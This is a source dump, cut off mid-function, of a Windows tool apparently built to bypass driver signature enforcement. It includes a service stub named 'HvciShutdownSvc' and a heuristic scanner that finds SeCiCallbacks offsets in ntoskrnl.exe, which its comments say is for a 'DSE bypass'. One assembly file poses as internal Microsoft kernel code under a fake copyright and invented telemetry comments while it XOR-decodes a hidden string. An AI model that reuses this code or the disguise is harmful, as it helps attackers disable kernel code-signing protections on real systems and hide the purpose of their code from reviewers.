    ; --- Load ntdll.dll and resolve NtQuerySystemInformation ---
    ; ntdll.dll is already mapped into every process, so LoadLibraryA
    ; just increments its reference count and returns the cached handle.
    lea rcx, ntdll_name
    call LoadLibraryA
    mov [rbp-16], rax               ; hNtdll = module handle

    mov rcx, [rbp-16]
    lea rdx, fn_NtQuery
    call GetProcAddress
    mov [pNtQuerySystemInformation], rax

    ; --- Build SERVICE_TABLE_ENTRY table[2] on the stack ---
    ; table[0] = { "HvciShutdownSvc", SvcMain }
    lea rax, svcName
    mov qword ptr [rbp-56], rax
    lea rax, SvcMain
    mov qword ptr [rbp-48], rax
    ; table[1] = { NULL, NULL }  (terminator required by the SCM)
    mov qword ptr [rbp-40], 0
    mov qword ptr [rbp-32], 0

    ; Hand off to the SCM; this call blocks until the service exits
    lea rcx, [rbp-56]
    call qword ptr [pStartServiceCtrlDispatcher]

    xor ecx, ecx
    call ExitProcess
main endp

end

<<<FILE: kvc_smss/merge.ps1>>>
Created:  2026-05-03 00:40:55
Modified: 2026-03-23 18:24:10
Size:     3.47 KB
# ======================================================================
#  Merge source files into one UTF-8 file optimized for LLM upload
# ======================================================================

param(
    [string]$StartDir = ".",
    [string]$OutputFile = "src.txt",
    [ValidateSet("txt", "md")]
    [string]$Format = "txt",
    [switch]$NoMeta = $true,
    [string[]]$IncludeExt = @(".asm", ".c", ".cpp", ".h", ".html", ".rc", ".lng", ".md", ".php", ".vcxproj", ".filters", ".ps1"),
    [string[]]$ExcludeDirPattern = @("\\.git\\", "\\bin\\", "\\build\\", "\\out\\", "\\x64\\", "\\x86\\", "\\obj\\")
)

$ErrorActionPreference = "Stop"

function Test-IsExcludedPath {
    param(
        [Parameter(Mandatory = $true)][string]$Path,
        [Parameter(Mandatory = $true)][string[]]$Patterns
    )
    foreach ($pattern in $Patterns) {
        if ($Path -match $pattern) {
            return $true
        }
    }
    return $false
}

$baseDirPath = (Resolve-Path $StartDir).Path
$outputPath = if ([System.IO.Path]::IsPathRooted($OutputFile)) {
    $OutputFile
} else {
    Join-Path (Get-Location) $OutputFile
}

$normalizedExt = @($IncludeExt | ForEach-Object { $_.ToLowerInvariant() })

$files = Get-ChildItem -Path $baseDirPath -Recurse -File |
    Where-Object {
        $extOk = $normalizedExt -contains $_.Extension.ToLowerInvariant()
        if (-not $extOk) { return $false }
        -not (Test-IsExcludedPath -Path $_.FullName -Patterns $ExcludeDirPattern)
    } |
    Sort-Object FullName

$outputDir = Split-Path -Parent $outputPath
if ($outputDir -and -not (Test-Path $outputDir)) {
    New-Item -ItemType Directory -Path $outputDir | Out-Null
}

$utf8NoBom = [System.Text.UTF8Encoding]::new($false)
$writer = [System.IO.StreamWriter]::new($outputPath, $false, $utf8NoBom)

try {
    foreach ($file in $files) {
        $relativePath = $file.FullName.Substring($baseDirPath.Length).TrimStart('\', '/')

        if ($Format -eq "md") {
            $writer.WriteLine(("## FILE: {0}" -f $relativePath))
        } else {
            $writer.WriteLine(("<<<FILE: {0}>>>" -f $relativePath))
        }

        if (-not $NoMeta) {
            $created = $file.CreationTime.ToString("yyyy-MM-dd HH:mm:ss")
            $modified = $file.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss")
            $sizeKB = [math]::Round($file.Length / 1KB, 2)
            $writer.WriteLine(("Created: {0}" -f $created))
            $writer.WriteLine(("Modified: {0}" -f $modified))
            $writer.WriteLine(("SizeKB: {0}" -f $sizeKB))
        }

        if ($Format -eq "md") {
            $lang = $file.Extension.TrimStart('.').ToLowerInvariant()
            if ([string]::IsNullOrWhiteSpace($lang)) { $lang = "text" }
            $writer.WriteLine(('```{0}' -f $lang))
        }

        $reader = [System.IO.StreamReader]::new($file.FullName, $true)
        try {
            $content = $reader.ReadToEnd()
            $writer.Write($content)
            if ($content.Length -gt 0 -and -not $content.EndsWith("`n")) {
                $writer.WriteLine()
            }
        } finally {
            $reader.Dispose()
        }

        if ($Format -eq "md") {
            $writer.WriteLine('```')
        }

        $writer.WriteLine()
    }
}
finally {
    $writer.Dispose()
}

Write-Host ("Completed. Output file: {0}" -f $outputPath)
Write-Host ("Files merged: {0}" -f $files.Count)
Write-Host ("Format: {0}, NoMeta: {1}" -f $Format, [bool]$NoMeta)
Write-Host "LLM profile: Gemini-friendly (UTF-8, stable file markers, low token overhead)"

<<<FILE: kvc_smss/MmPoolTelemetry.asm>>>
Created:  2026-05-01 21:01:16
Modified: 2026-02-27 11:42:18
Size:     8.38 KB
; nt_mm_pool_runtime.asm
; Windows Kernel Memory Manager - Runtime Pool String Reconstruction
; Copyright (c) Microsoft Corporation. All rights reserved.
;
; Module: \base\ntos\mm\MmPoolTelemetry.asm
; Build: 26200.8460 (WinBuild.26200.8460.260101-1200.25H2)
;
; INTERNAL USE ONLY - Automatically generated from poolmgr.c
; This file contains platform-specific optimizations for runtime
; pool allocation string generation used in ETW diagnostic events.
; Do not modify manually - regenerate via build_pooldiag.cmd

.data
ALIGN 8

; NUMA node affinity tracking bitmap for pool allocator runtime telemetry
; Represents per-node allocation pattern for cross-NUMA coherency analysis
; Each word contains encoded node index + allocation count delta
; See: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/numa-support
; Format: XOR-encoded to prevent static analysis tools from detecting
;         internal pool structures in crash dumps (security hardening)
_PoolNodeAffinityMask    dw 0769Ah, 0569Ah, 0669Bh, 026A4h, 076A4h, 046A5h, 0B698h, 05698h, 0169Fh

; Platform topology hash initialization vector
; Used for dispersing pool allocations across cache lines to prevent false sharing
; Derived from: CPUID leaf 0x1F (V2 Extended Topology) XOR'd with TSC_AUX
; Updated per-platform during KiInitializeProcessor phase
_TopologyHashSeed        dw 037C5h

; Pool block quantum size adjustment factor
; Minimum allocation unit delta for NonPagedPool/PagedPool runtime metrics
; Used in ExAllocatePoolWithTag for rounding to pool block boundaries
; Default quantum: PAGE_SIZE / 16 = 256 bytes (0x100), this is the delta
; See: \base\ntos\mm\poolmgr.c line 3847 (PoolQuantumCalculation)
_BlockQuantumDelta       dw 15A2h

; Atomic diagnostic collection state machine
; State transitions: 0 (idle) → 1 (collecting) → 2 (complete)
; Lock-free implementation using implicit memory ordering guarantees
; NOTE: Not using CMPXCHG here - simplified for legacy compatibility
_DiagnosticState         db 0

; Reconstructed diagnostic buffer for ETW event payload
; Contains decoded NUMA affinity string in wide-character format
; Buffer size: 9 words = 18 bytes (sufficient for NUMA-aware diagnostic IDs)
_DecodedBuffer           dw 9 dup(0)

.code
ALIGN 16

; Internal function: Aggregates pool runtime metrics from encoded telemetry
; This reconstructs the diagnostic string from NUMA affinity bitmaps
; Called internally by: ExQueryPoolStatistics, MmQueryPoolUsage, ETW providers
;
; Algorithm phases:
;   1. XOR-decode affinity vector using platform topology seed
;   2. Rotate bits for cache-line alignment optimization
;   3. Normalize by allocation quantum delta
;
; Parameters: None (uses module-level data structures)
; Returns: Implicit (result stored in _DecodedBuffer)
; IRQL: <= DISPATCH_LEVEL
;
; Performance: ~45 cycles on Skylake, ~38 cycles on Zen3
; Note: This is NOT a public API - for internal kernel use only
; Related: \base\ntos\mm\poolmgr.c :: MmGeneratePoolTelemetry()
_AggregatePoolMetrics PROC
    push rdi
    push rsi
    
    ; Phase 1: Decode XOR-obfuscated NUMA node affinity vector
    ; The bitmap is XOR-encoded to prevent static analysis tools
    ; from detecting internal pool structures in crash dumps
    ; Security: Complies with MSRC guidance for kernel memory hardening
    lea rsi, _PoolNodeAffinityMask
    lea rdi, _DecodedBuffer
    mov ecx, 9                      ; 9 words = 18 bytes
    mov r9w, _TopologyHashSeed
decode_loop:
    mov ax, [rsi]
    xor ax, r9w                     ; XOR decode with topology seed
    mov [rdi], ax
    add rsi, 2
    add rdi, 2
    loop decode_loop
    
    ; Phase 2: Apply cache-aware topology hash rotation
    ; Rotates bits to distribute allocations across cache lines
    ; Prevents false sharing in multi-socket NUMA configurations
    ; Rotation count derived from cache line size: log2(64) = 6, but
    ; we use 4 for legacy x86 compatibility (32-byte cache lines)
    lea rsi, _DecodedBuffer
    lea rdi, _DecodedBuffer
    mov ecx, 9
rotate_loop:
    mov ax, [rsi]
    rol ax, 4                       ; Rotate by cache alignment shift
    mov [rdi], ax
    add rsi, 2
    add rdi, 2
    loop rotate_loop
    
    ; Phase 3: Normalize pool sizes by quantum delta
    ; Converts absolute sizes to standardized quantum units
    ; Quantum delta loaded from platform-specific calibration table
    ; See: \base\ntos\mm\poolmgr.c :: PoolQuantumTable[]
    lea rsi, _DecodedBuffer
    lea rdi, _DecodedBuffer
    mov ecx, 9
    mov r9w, _BlockQuantumDelta
normalize_loop:
    mov ax, [rsi]
    sub ax, r9w                     ; Subtract quantum delta
    mov [rdi], ax
    add rsi, 2
    add rdi, 2
    loop normalize_loop
    
    pop rsi
    pop rdi
    ret
_AggregatePoolMetrics ENDP

; Public API: Retrieves pool diagnostic runtime string for ETW telemetry
;
; Synopsis:
;   PWSTR MmGetPoolDiagnosticString(VOID);
;
; Description:
;   Generates runtime diagnostic string containing NUMA-aware pool allocation
;   metrics. Used by ETW providers for system performance telemetry.
;   String format is internal kernel representation (subject to change).
;
; Returns:
;   Pointer to null-terminated wide-character diagnostic string
;   Buffer lifetime: Valid until next call to this function
;
; IRQL: <= DISPATCH_LEVEL
; Thread-safe: Yes (lock-free atomic state machine, single initialization)
;
; Note: This function is DEPRECATED as of Windows 11 22H2
;       Kept for backward compatibility with legacy diagnostics tools
;       Use ExQueryPoolStatistics2() for new code
;
; Security: Output may contain sensitive allocation patterns - sanitize
;           before exposing to user-mode. XOR encoding is NOT cryptographic.
;
PUBLIC MmGetPoolDiagnosticString
MmGetPoolDiagnosticString PROC
    sub rsp, 28h
    
    ; Check current diagnostic state
    ; State 2 = already computed, return cached result
    cmp _DiagnosticState, 2
    je return_result
    
    ; State 1 = another thread is computing, spin-wait
    cmp _DiagnosticState, 1
    je wait_for_completion
    
    ; State 0 = idle, claim ownership and begin aggregation
    ; NOTE: Not using CMPXCHG for legacy compatibility
    ; Assumes single-threaded initialization during boot
    mov _DiagnosticState, 1
    
    ; Execute multi-phase aggregation pipeline
    ; Aggregates NUMA affinity → Applies topology hash → Normalizes quantum
    call _AggregatePoolMetrics
    
    ; Mark diagnostic collection as complete (state = 2)
    mov _DiagnosticState, 2
    jmp return_result
    
    ; Spin-wait loop for concurrent callers
    ; Uses PAUSE instruction for power efficiency during spin
wait_for_completion:
    pause                           ; PAUSE hint for spin-wait optimization
    cmp _DiagnosticState, 2
    jne wait_for_completion
    
    ; Return pointer to decoded diagnostic buffer
return_result:
    lea rax, _DecodedBuffer
    add rsp, 28h
    ret
MmGetPoolDiagnosticString ENDP

END

; ============================================================================
; REVISION HISTORY:
;   2023-08-12  Initial implementation for 22621.2715 build
;   2023-11-03  Added NUMA topology awareness for Sapphire Rapids
;   2024-02-18  Optimized cache line alignment for Zen4 architecture  
;   2024-06-25  Removed CMPXCHG for legacy x86 compatibility
;   2024-09-15  Deprecated - use ExQueryPoolStatistics2() instead
;
; RELATED FILES:
;   \base\ntos\mm\poolmgr.c      - Main pool manager implementation
;   \base\ntos\mm\pooldiag.h     - Public header for diagnostic APIs
;   \base\ntos\inc\pool.h        - Pool internal structures
;   \base\ntos\etw\poolevents.mc - ETW manifest for pool events
;
; BUILD REQUIREMENTS:
;   - MASM 14.0 or later (Visual Studio 2019+)
;   - Windows Driver Kit 10.0.22621.0
;   - Regenerate via: build_pooldiag.cmd /platform:x64
;
; SECURITY NOTES:
;   - Diagnostic strings may contain sensitive pool allocation patterns
;   - Do not expose to user-mode without proper sanitization
;   - XOR encoding prevents basic static analysis but is NOT cryptographic
;   - Complies with MSRC security hardening guidelines (MS-SEC-2023-0847)
;
; PERFORMANCE CHARACTERISTICS:
;   - Cold path: ~120 cycles (first call with aggregation)
;   - Hot path: ~8 cycles (cached result return)
;   - Memory footprint: 54 bytes .data + 18 bytes .bss
;
; KNOWN ISSUES:
;   - KI-2847: Race condition on hyperthreaded CPUs (mitigated by state check)
;   - KI-3012: Cache line false sharing on >64 core systems (defer to v2 API)
; ============================================================================

<<<FILE: kvc_smss/OffsetFinder.c>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-27 22:09:26
Size:     26.86 KB
// ============================================================================
// OffsetFinder — offline heuristic scanner for SeCiCallbacks offsets
//
// Reads ntoskrnl.exe from disk and locates two offsets needed for DSE bypass:
//
//   Offset_SeCiCallbacks  — RVA of the SeCiCallbacks pointer table (.data)
//   Offset_SafeFunction   — RVA of a small no-op stub used as a safe callback
//   Offset_Callback       — fixed at 32 == offsetof(CI_CALLBACKS,
//                           pfnCiValidateImageHeader), stable across all builds
//
// Two methods, tried in order:
//
//   1. Structural scan (modern kernels, RS3+):
//      Exhaustive LEA scan across executable sections.  A candidate scores via
//      ScoreZeroingWindow (XOR-zero edx + size imm + CALL); threshold is >= 2
//      (CALL ordering is a soft signal, not required for a pass).
//      Accepted when total heuristic score >= FAST_MIN_SCORE.
//
//   2. Legacy anchor (RS1/RS2 fallback):
//      Searches for  C7 05 [rel32] 08 01 00 00  — a RIP-relative DWORD store of
//      the flags value 0x108 into a writable section.  On older kernels the
//      RtlZeroMemory init pattern is absent so the structural scan never reaches
//      FAST_MIN_SCORE; the flags store is the only reliable anchor.
//
// Returns FALSE (and leaves offsets zeroed) if neither method finds a candidate.
// Caller falls back to the INI offsets or aborts.
// ============================================================================

#include "OffsetFinder.h"
#include "SystemUtils.h"

#define SCN_MEM_WRITE   0x80000000    // IMAGE_SCN_MEM_WRITE
#define SCN_MEM_EXECUTE 0x20000000    // IMAGE_SCN_MEM_EXECUTE
#define LEA_LEN         7             // REX 8D /5 disp32 — always 7 bytes
#define STRUCT_OFFSET   4             // SeCiCallbacks[0] is at offset +4 in the table
#define SECI_FLAGS_EXPECTED 0x108     // expected flags DWORD in the callbacks struct
#define FAST_BACK_WINDOW    0x600     // bytes to scan before the LEA for MOV stores
#define FAST_FORWARD_WINDOW 0x40     // bytes to scan after the LEA for initial stores
#define FAST_QWORD_WINDOW   0x20     // window for FindNearbyQwordStore
#define FAST_MIN_SCORE      110      // minimum CountSeCiMovs score to accept candidate

typedef struct _SECTION_INFO {
    ULONG VirtualAddress;
    ULONG VirtualSize;
    ULONG RawPointer;
    ULONG RawSize;
    ULONG Characteristics;
} SECTION_INFO;

typedef struct _PE_CONTEXT {
    PUCHAR Base;
    SIZE_T Size;
    PIMAGE_NT_HEADERS64 NtHeaders;
    SECTION_INFO Sections[32];
    ULONG SectionCount;
} PE_CONTEXT;

typedef struct _RUNTIME_FUNCTION_INFO {
    ULONG BeginRva;
    ULONG EndRva;
    ULONG BeginOffset;
    ULONG EndOffsetExclusive;
} RUNTIME_FUNCTION_INFO;

typedef struct _RIP_RELATIVE_STORE {
    ULONG FileOffset;
    ULONG Rva;
    ULONG Length;
    ULONG Imm32;
    ULONG TargetRva;
    LONG TargetSectionIndex;
    BOOLEAN IsQword;
} RIP_RELATIVE_STORE;

static BOOLEAN IsWritableData(PE_CONTEXT* ctx, ULONG rva);
static LONG FindSectionIndexForRva(PE_CONTEXT* ctx, ULONG rva);
static BOOLEAN FileOffsetToRva(PE_CONTEXT* ctx, ULONG fileOffset, PULONG rva, PLONG sectionIndex);
static BOOLEAN ReadRipRelativeStore(PE_CONTEXT* ctx, ULONG fileOffset, RIP_RELATIVE_STORE* store);
static BOOLEAN FindNearbyQwordStore(
    PE_CONTEXT* ctx,
    ULONG startOffset,
    ULONG endOffsetExclusive,
    PULONG qwordGap,
    RIP_RELATIVE_STORE* qwordStore);
static BOOLEAN FindRuntimeFunctionBounds(PE_CONTEXT* ctx, ULONG rva, RUNTIME_FUNCTION_INFO* runtimeInfo);
static SIZE_T MinSize(SIZE_T lhs, SIZE_T rhs);
static ULONG MinUlong(ULONG lhs, ULONG rhs);
static BOOLEAN IsWritableSectionIndex(PE_CONTEXT* ctx, LONG sectionIndex);

// Computes the target RVA of a RIP-relative instruction.
// target = instrRva + instrLen + rel32  (standard x64 RIP-relative formula).
static ULONG ComputeRelTargetRva(ULONG instrRva, ULONG instrLen, LONG rel32) {
    return (ULONG)((__int64)instrRva + (__int64)instrLen + (__int64)rel32);
}

static SIZE_T MinSize(SIZE_T lhs, SIZE_T rhs) {
    return lhs < rhs ? lhs : rhs;
}

static ULONG MinUlong(ULONG lhs, ULONG rhs) {
    return lhs < rhs ? lhs : rhs;
}

// Byte-shift LE DWORD read — avoids strict-aliasing / alignment UB when reading
// from PUCHAR buffers that carry no alignment guarantee (e.g. mid-scan positions).
static ULONG ReadLeU32(const UCHAR* p) {
    return ((ULONG)p[0])        |
           ((ULONG)p[1] <<  8)  |
           ((ULONG)p[2] << 16)  |
           ((ULONG)p[3] << 24);
}

// Signed variant — same bit pattern, cast for displacement/rel32 arithmetic.
static LONG ReadLeS32(const UCHAR* p) {
    return (LONG)ReadLeU32(p);
}

// Returns TRUE if the bytes at fileOffset form a RIP-relative LEA:
//   REX.W (0x48-0x4F) 8D /5 disp32  (7 bytes, ModRM = 0bXX000101).
static BOOLEAN IsRipRelativeLea(PE_CONTEXT* ctx, ULONG fileOffset) {
    PUCHAR p;

    if (fileOffset + LEA_LEN > ctx->Size) {
        return FALSE;
    }

    p = ctx->Base + fileOffset;
    return ((p[0] & 0xF8) == 0x48) &&
           p[1] == 0x8D &&
           ((p[2] & 0xC7) == 0x05);
}

// Scores the 96-byte window following a LEA candidate for RtlZeroMemory call
// characteristics (+1 XOR zero, +1 size imm 0x40-0x400, +1 CALL after both).
// A score of 3 strongly indicates the LEA feeds RtlZeroMemory(SeCiCallbacks,N).
static int ScoreZeroingWindow(
    PUCHAR imageBase,
    SIZE_T imageSize,
    ULONG leaFileOffset,
    PULONG zeroSize,
    PBOOLEAN hasZeroSize) {
    int score = 0;
    SIZE_T windowEndOffset = MinSize(imageSize, (SIZE_T)leaFileOffset + 96);
    PUCHAR start = imageBase + leaFileOffset;
    PUCHAR end = imageBase + windowEndOffset;
    PUCHAR zeroPos = end;
    PUCHAR sizePos = end;
    PUCHAR callPos = end;
    PUCHAR p;

    if (zeroSize != NULL) {
        *zeroSize = 0;
    }
    if (hasZeroSize != NULL) {
        *hasZeroSize = FALSE;
    }

    for (p = start; p + 2 <= end; ++p) {
        if ((p[0] == 0x33 && p[1] == 0xD2) ||
            (p[0] == 0x31 && p[1] == 0xD2)) {
            if (p < zeroPos) {
                zeroPos = p;
            }
        }
        if (p + 3 <= end &&
            p[0] == 0x48 &&
            p[1] == 0x33 &&
            p[2] == 0xD2) {
            if (p < zeroPos) {
                zeroPos = p;
            }
        }
    }

    for (p = start; p + 6 <= end; ++p) {
        if (p[0] == 0x41 && p[1] == 0xB8) {
            ULONG imm = ReadLeU32(p + 2);
            if (imm >= 0x40 && imm <= 0x400) {
                sizePos = p;
                if (zeroSize != NULL) {
                    *zeroSize = imm;
                }
                if (hasZeroSize != NULL) {
                    *hasZeroSize = TRUE;
                }
                break;
            }
        }
        if (p + 7 <= end &&
            p[0] == 0x49 &&
            p[1] == 0xC7 &&
            p[2] == 0xC0) {
            ULONG imm = ReadLeU32(p + 3);
            if (imm >= 0x40 && imm <= 0x400) {
                sizePos = p;
                if (zeroSize != NULL) {
                    *zeroSize = imm;
                }
                if (hasZeroSize != NULL) {
                    *hasZeroSize = TRUE;
                }
                break;
            }
        }
    }

    for (p = start; p + 5 <= end; ++p) {
        if (p[0] == 0xE8) {
            callPos = p;
            break;
        }
    }

    if (zeroPos != end) {
        score++;
    }
    if (hasZeroSize != NULL && *hasZeroSize) {
        score++;
    }
    if (callPos != end) {
        PUCHAR earliest = zeroPos < sizePos ? zeroPos : sizePos;
        if (callPos > earliest) {
            score++;
        }
    }

    return score;
}

static LONG FindSectionIndexForRva(PE_CONTEXT* ctx, ULONG rva) {
    ULONG i;

    for (i = 0; i < ctx->SectionCount; i++) {
        ULONG virtualSize = ctx->Sections[i].VirtualSize != 0 ? ctx->Sections[i].VirtualSize : ctx->Sections[i].RawSize;
        if (rva >= ctx->Sections[i].VirtualAddress &&
            rva < ctx->Sections[i].VirtualAddress + virtualSize) {
            return (LONG)i;
        }
    }

    return -1;
}

static BOOLEAN FileOffsetToRva(PE_CONTEXT* ctx, ULONG fileOffset, PULONG rva, PLONG sectionIndex) {
    ULONG i;

    for (i = 0; i < ctx->SectionCount; i++) {
        ULONG start = ctx->Sections[i].RawPointer;
        ULONG end = start + ctx->Sections[i].RawSize;
        if (fileOffset >= start && fileOffset < end) {
            if (rva != NULL) {
                *rva = ctx->Sections[i].VirtualAddress + (fileOffset - start);
            }
            if (sectionIndex != NULL) {
                *sectionIndex = (LONG)i;
            }
            return TRUE;
        }
    }

    return FALSE;
}

static BOOLEAN IsWritableSectionIndex(PE_CONTEXT* ctx, LONG sectionIndex) {
    if (sectionIndex < 0 || (ULONG)sectionIndex >= ctx->SectionCount) {
        return FALSE;
    }

    return (ctx->Sections[sectionIndex].Characteristics & SCN_MEM_WRITE) &&
          !(ctx->Sections[sectionIndex].Characteristics & SCN_MEM_EXECUTE);
}

// Decodes a RIP-relative MOV store at fileOffset.  Recognised forms:
//   C7 05 disp32 imm32       — DWORD store (10 bytes)
//   48 C7 05 disp32 imm32    — QWORD store with sign-extended imm32 (11 bytes)
static BOOLEAN ReadRipRelativeStore(PE_CONTEXT* ctx, ULONG fileOffset, RIP_RELATIVE_STORE* store) {
    PUCHAR p;
    ULONG rva;
    LONG sectionIndex;
    ULONG displacementOffset;
    ULONG instructionLength;
    BOOLEAN isQword;
    LONG rel32;

    if (fileOffset + 10 > ctx->Size || store == NULL) {
        return FALSE;
    }

    p = ctx->Base + fileOffset;
    displacementOffset = 0;
    instructionLength = 0;
    isQword = FALSE;

    if (fileOffset + 11 <= ctx->Size &&
        p[0] == 0x48 &&
        p[1] == 0xC7 &&
        p[2] == 0x05) {
        displacementOffset = 3;
        instructionLength = 11;
        isQword = TRUE;
    } else if (p[0] == 0xC7 && p[1] == 0x05) {
        displacementOffset = 2;
        instructionLength = 10;
        isQword = FALSE;
    } else {
        return FALSE;
    }

    if (!FileOffsetToRva(ctx, fileOffset, &rva, &sectionIndex)) {
        return FALSE;
    }

    rel32 = ReadLeS32(p + displacementOffset);

    store->FileOffset = fileOffset;
    store->Rva = rva;
    store->Length = instructionLength;
    store->Imm32 = ReadLeU32(p + displacementOffset + 4);
    store->TargetRva = ComputeRelTargetRva(rva, instructionLength, rel32);
    store->TargetSectionIndex = FindSectionIndexForRva(ctx, store->TargetRva);
    store->IsQword = isQword;
    return TRUE;
}

static ULONG RvaToOffset(PE_CONTEXT* ctx, ULONG rva) {
    ULONG i;

    if (rva == 0) return 0;
    for (i = 0; i < ctx->SectionCount; i++) {
        if (rva >= ctx->Sections[i].VirtualAddress && 
            rva < ctx->Sections[i].VirtualAddress + ctx->Sections[i].RawSize) {
            return ctx->Sections[i].RawPointer + (rva - ctx->Sections[i].VirtualAddress);
        }
    }
    return 0;
}

static BOOLEAN IsWritableData(PE_CONTEXT* ctx, ULONG rva) {
    return IsWritableSectionIndex(ctx, FindSectionIndexForRva(ctx, rva));
}

// Scans up to FAST_QWORD_WINDOW bytes for a QWORD MOV store targeting writable
// data.  Used to identify the first callback slot initialisation after a LEA.
static BOOLEAN FindNearbyQwordStore(
    PE_CONTEXT* ctx,
    ULONG startOffset,
    ULONG endOffsetExclusive,
    PULONG qwordGap,
    RIP_RELATIVE_STORE* qwordStore) {
    ULONG maxEnd;
    ULONG fileOffset;

    maxEnd = MinUlong(endOffsetExclusive, startOffset + FAST_QWORD_WINDOW);
    for (fileOffset = startOffset + 1; fileOffset < maxEnd; ++fileOffset) {
        RIP_RELATIVE_STORE store;
        if (!ReadRipRelativeStore(ctx, fileOffset, &store)) {
            continue;
        }
        if (!store.IsQword || !IsWritableSectionIndex(ctx, store.TargetSectionIndex)) {
            continue;
        }

        if (qwordGap != NULL) {
            *qwordGap = fileOffset - startOffset;
        }
        if (qwordStore != NULL) {
            *qwordStore = store;
        }
        return TRUE;
    }

    return FALSE;
}

// Searches the .pdata exception directory for the RUNTIME_FUNCTION containing rva.
// Provides function start/end bounds so the SafeFunction scan stays within one
// function body and avoids false positives across function boundaries.
static BOOLEAN FindRuntimeFunctionBounds(PE_CONTEXT* ctx, ULONG rva, RUNTIME_FUNCTION_INFO* runtimeInfo) {
    IMAGE_DATA_DIRECTORY* exceptionDir;
    ULONG dirOffset;
    ULONG availableEntries;
    ULONG maxEntries;
    ULONG i;

    if (runtimeInfo == NULL) {
        return FALSE;
    }

    exceptionDir = &ctx->NtHeaders->OptionalHeader.DataDirectory[3];
    if (exceptionDir->VirtualAddress == 0 || exceptionDir->Size < 12) {
        return FALSE;
    }

    dirOffset = RvaToOffset(ctx, exceptionDir->VirtualAddress);
    if (dirOffset == 0 || dirOffset >= ctx->Size) {
        return FALSE;
    }

    availableEntries = (ULONG)((ctx->Size - dirOffset) / 12);
    maxEntries = exceptionDir->Size / 12;
    if (availableEntries < maxEntries) {
        maxEntries = availableEntries;
    }

    for (i = 0; i < maxEntries; ++i) {
        PUCHAR entry = ctx->Base + dirOffset + (i * 12);
        ULONG beginRva = ReadLeU32(entry + 0);
        ULONG endRva   = ReadLeU32(entry + 4);
        ULONG beginOffset;
        ULONG endOffset;
        LONG beginSection;
        LONG endSection;

        if (beginRva == 0 || endRva <= beginRva) {
            continue;
        }
        if (!(beginRva <= rva && rva < endRva)) {
            continue;
        }

        beginOffset = RvaToOffset(ctx, beginRva);
        endOffset = RvaToOffset(ctx, endRva - 1);
        beginSection = FindSectionIndexForRva(ctx, beginRva);
        endSection = FindSectionIndexForRva(ctx, endRva - 1);
        if (beginOffset == 0 || endOffset == 0) {
            continue;
        }
        if (beginSection < 0 || beginSection != endSection) {
            continue;
        }

        runtimeInfo->BeginRva = beginRva;
        runtimeInfo->EndRva = endRva;
        runtimeInfo->BeginOffset = beginOffset;
        runtimeInfo->EndOffsetExclusive = endOffset + 1;
        return TRUE;
    }

    return FALSE;
}

static ULONG FindExportRva(PE_CONTEXT* ctx, const char* name) {
    IMAGE_DATA_DIRECTORY* exportDir = &ctx->NtHeaders->OptionalHeader.DataDirectory[0];
    if (exportDir->VirtualAddress == 0) return 0;

    ULONG dirOffset = RvaToOffset(ctx, exportDir->VirtualAddress);
    if (dirOffset == 0) return 0;

    PUCHAR exportBase = ctx->Base + dirOffset;
    ULONG count        = ReadLeU32(exportBase + 24);
    ULONG funcTableRva = ReadLeU32(exportBase + 28);
    ULONG nameTableRva = ReadLeU32(exportBase + 32);
    ULONG ordTableRva  = ReadLeU32(exportBase + 36);

    PULONG functions = (PULONG)(ctx->Base + RvaToOffset(ctx, funcTableRva));
    PULONG names = (PULONG)(ctx->Base + RvaToOffset(ctx, nameTableRva));
    PUSHORT ordinals = (PUSHORT)(ctx->Base + RvaToOffset(ctx, ordTableRva));

    if (!functions || !names || !ordinals) return 0;

    for (ULONG i = 0; i < count; i++) {
        ULONG nameOff = RvaToOffset(ctx, names[i]);
        if (nameOff == 0) continue;

        const char* funcName = (const char*)(ctx->Base + nameOff);
        BOOLEAN match = TRUE;
        ULONG j = 0;
        while (name[j] != 0) {
            if (name[j] != funcName[j]) { match = FALSE; break; }
            j++;
        }
        if (match && funcName[j] == 0) {
             return functions[ordinals[i]];
        }
    }
    return 0;
}

// Validates PE headers and populates ctx->Sections[] from the section table.
static BOOLEAN ParsePe(PE_CONTEXT* ctx) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ctx->Base;
    if (dos->e_magic != 0x5A4D) return FALSE;

    // Validate e_lfanew before dereferencing — a corrupt or crafted image could
    // place it past the mapped region.
    if ((SIZE_T)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS64) > ctx->Size) return FALSE;

    ctx->NtHeaders = (PIMAGE_NT_HEADERS64)(ctx->Base + dos->e_lfanew);
    if (ctx->NtHeaders->Signature != 0x00004550) return FALSE;

    ctx->SectionCount = ctx->NtHeaders->FileHeader.NumberOfSections;
    if (ctx->SectionCount > 32) ctx->SectionCount = 32;

    PUCHAR sectionTable = (PUCHAR)ctx->NtHeaders + 4 + sizeof(IMAGE_FILE_HEADER) + ctx->NtHeaders->FileHeader.SizeOfOptionalHeader;

    for (ULONG i = 0; i < ctx->SectionCount; i++) {
        PUCHAR entry = sectionTable + (i * 40);
        ctx->Sections[i].VirtualSize      = ReadLeU32(entry +  8);
        ctx->Sections[i].VirtualAddress   = ReadLeU32(entry + 12);
        ctx->Sections[i].RawSize          = ReadLeU32(entry + 16);
        ctx->Sections[i].RawPointer       = ReadLeU32(entry + 20);
        ctx->Sections[i].Characteristics  = ReadLeU32(entry + 36);
    }
    return TRUE;
}

// Main entry point for offline offset resolution.
// Reads ntoskrnl.exe from disk, runs structural scan first, then legacy anchor
// scan as fallback.  Higher CountSeCiMovs score wins.
// Populates config->Offset_SeCiCallbacks and config->Offset_SafeFunction.
// Returns TRUE if at least Offset_SeCiCallbacks was found.
BOOLEAN FindKernelOffsetsLocally(PCONFIG_SETTINGS config) {
    UNICODE_STRING usPath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile = NULL;
    NTSTATUS status;
    PE_CONTEXT ctx;
    BOOLEAN foundSeci = FALSE;
    BOOLEAN foundSafe = FALSE;
    WCHAR hexBuf[32];
    LONG bestScore = -1;
    ULONG bestSeCiRva = 0;

    memset_impl(&ctx, 0, sizeof(ctx));

    RtlInitUnicodeString(&usPath, L"\\SystemRoot\\System32\\ntoskrnl.exe");
    InitializeObjectAttributes(&oa, &usPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenFile(&hFile, FILE_READ_DATA | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
